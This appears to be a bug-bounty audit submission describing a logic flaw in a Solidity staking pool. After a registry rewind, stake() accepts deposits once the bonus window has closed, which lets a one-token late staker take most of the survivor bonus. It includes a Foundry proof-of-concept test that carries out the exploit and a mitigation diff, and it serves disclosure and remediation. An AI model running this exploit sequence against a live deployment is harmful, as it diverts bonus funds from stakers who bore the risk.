FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

Registry rewind reopens staking after the bonus window closes and lets a minimum staker capture the survivor bonus

Author Revealed upon completion

Root + Impact

Description

Normally, once the pool observes a terminal registry state it freezes the bonus timestamp T in the one-way riskWindowEnd latch, and the k=2 time-weighted survivor bonus (amount × (T − entryTime)²) is meant to reward only the stakers who bore risk during the measured window. withdraw() is correctly protected against registry rewinds by the one-way riskWindowStart != 0 latch.

stake() does not consult the riskWindowEnd latch. It gates new deposits only on the registry's current state via _assertDepositsAllowed(_observePoolState()), which permits a rewound NEW_DEPLOYMENT state even though the pool already recorded a terminal observation. Because the bonus timestamp T stays frozen while a fresh deposit is accepted with entryTime > T, and the score squares (T − entryTime), staking after T yields a positive and growing score. A one-token stake entered 29 days after T scores 1 × 29² = 841, dwarfing two honest 100-token/one-day stakes (200 × 1²) and capturing over 80% of the bonus.

// src/ConfidencePool.sol — stake()
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
if (amount < minStake) revert BelowMinStake();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
@> _assertDepositsAllowed(_observePoolState()); // gates on live registry state only; ignores riskWindowEnd latch
...
}
// src/ConfidencePool.sol — _assertDepositsAllowed()
function _assertDepositsAllowed(IAttackRegistry.ContractState state) private pure {
if (
state == IAttackRegistry.ContractState.PROMOTION_REQUESTED
|| state == IAttackRegistry.ContractState.PRODUCTION || state == IAttackRegistry.ContractState.CORRUPTED
) {
revert StakingClosed();
}
@> // NEW_DEPLOYMENT (a rewound state) is permitted even after riskWindowEnd != 0 was latched
}

Risk

Likelihood:

  • A legitimate registry migration or other upstream operation transiently reports a pre-terminal state (NEW_DEPLOYMENT) after the pool has already observed a terminal state and frozen riskWindowEnd. No malicious or compromised registry is required — the vulnerability is the pool's own unsafe behavior during an otherwise legitimate rewind.

  • An attacker monitors registry state and executes the minimum-stake deposit permissionlessly during the rewind window, before the moderator finalizes the outcome as SURVIVED.

Impact:

  • A late minimum staker captures most of the SURVIVED bonus, redirecting bonus funds to a participant who bore no risk during the measured window.

  • The stakers who actually held risk during the window are diluted and receive a fraction of the bonus they earned. Principal remains solvent; the loss is confined to bonus distribution.

Proof of Concept

Add the poc in test/unit/ConfidencePool.poc.t.sol stakes 200 tokens before risk, closes the window after one day, rewinds the registry, and deposits the one-token minimum 29 days later, proving the late staker receives more than 80 of the 100 bonus tokens.

function testPoC_StakingReopensAfterTerminalObservationAndStealsBonus() external {
_stake(alice, 100 * ONE);
_stake(bob, 100 * ONE);
_contributeBonus(carol, 100 * ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.warp(vm.getBlockTimestamp() + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
pool.pokeRiskWindow();
uint256 frozenTerminalTime = pool.riskWindowEnd();
// A benign registry migration/rewind reports a pre-terminal state before the moderator
// has finalized. Withdrawals stay closed via riskWindowStart, but staking reopens.
vm.warp(vm.getBlockTimestamp() + 29 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
_stake(dave, ONE);
assertEq(pool.riskWindowEnd(), frozenTerminalTime, "terminal bonus time remains frozen");
assertGt(block.timestamp, frozenTerminalTime, "Dave entered after the bonus window ended");
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 daveBefore = token.balanceOf(dave);
vm.prank(dave);
pool.claimSurvived();
uint256 davePayout = token.balanceOf(dave) - daveBefore;
// Dave should receive no bonus: he staked after the terminal observation that freezes T.
// Instead, because _bonusShare squares (T - entry), a post-terminal entry produces a
// positive score and lets a minimum-stake entrant capture most of the 100-token bonus.
assertGt(davePayout, 80 * ONE, "minimum post-terminal stake captured survivor bonus");
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
uint256 alicePayout = token.balanceOf(alice) - aliceBefore;
assertLt(alicePayout, 110 * ONE, "honest at-risk staker was diluted");
}

Run with:

forge test --offline --match-test testPoC_StakingReopensAfterTerminalObservationAndStealsBonus

Recommended Mitigation

Make terminal deposit closure one-way at the pool level: once riskWindowEnd is latched, reject deposits regardless of the current (rewindable) registry value, and apply the same guard consistently to stake() and contributeBonus().

function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
if (amount < minStake) revert BelowMinStake();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
- _assertDepositsAllowed(_observePoolState());
+ IAttackRegistry.ContractState state = _observePoolState();
+ if (riskWindowEnd != 0) revert StakingClosed();
+ _assertDepositsAllowed(state);

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!